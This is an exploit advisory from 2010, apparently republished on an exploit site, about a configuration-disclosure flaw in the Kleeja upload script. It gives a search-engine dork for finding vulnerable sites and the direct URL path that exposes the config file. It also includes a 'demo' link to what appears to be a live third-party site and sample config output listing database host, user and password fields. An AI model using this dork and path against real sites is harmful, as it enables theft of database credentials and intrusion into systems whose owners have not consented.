Kleeja Upload Script remote read config Vulnerability

=====================================================
Kleeja Upload Script remote read config Vulnerability
=====================================================

#######################################################################

[+] Author : ali.erroor
[~] Contact : [email protected]
[~] HomePage : http://network-security.ir

########################################################################

Vendor      : http://www.kleeja.com/
googel Dork     : Powered by Kleeja
Version         : all version
Date        : November 23, 2010

#########################################################################
 
I.   Exploit

#########################################################################

Default     :   http://127.0.0.1/
 
 
exploit     :   http://127.0.0.1/patch/docs/config.txt


demo : http://fpsgamehacks.cz.cc/docs/config.txt

$dbserver        = 'localhost';//database server
$dbuser            = 'root';// database user
$dbpass            = '';// database password
$dbname            = 'kleeja';// database name
$dbprefix        = 'klj_';// if you use perfix for tables , fill it
$perpage        = 10;// number of results in each page 



############################################################################

Greetz to : h4m1d sheisebaboo  vc.emliter  H-SK33PY Net.Editor  HUrr!c4nE  and all iraniyan hackers

#############################################################################



#  0day.today [2018-02-17]  #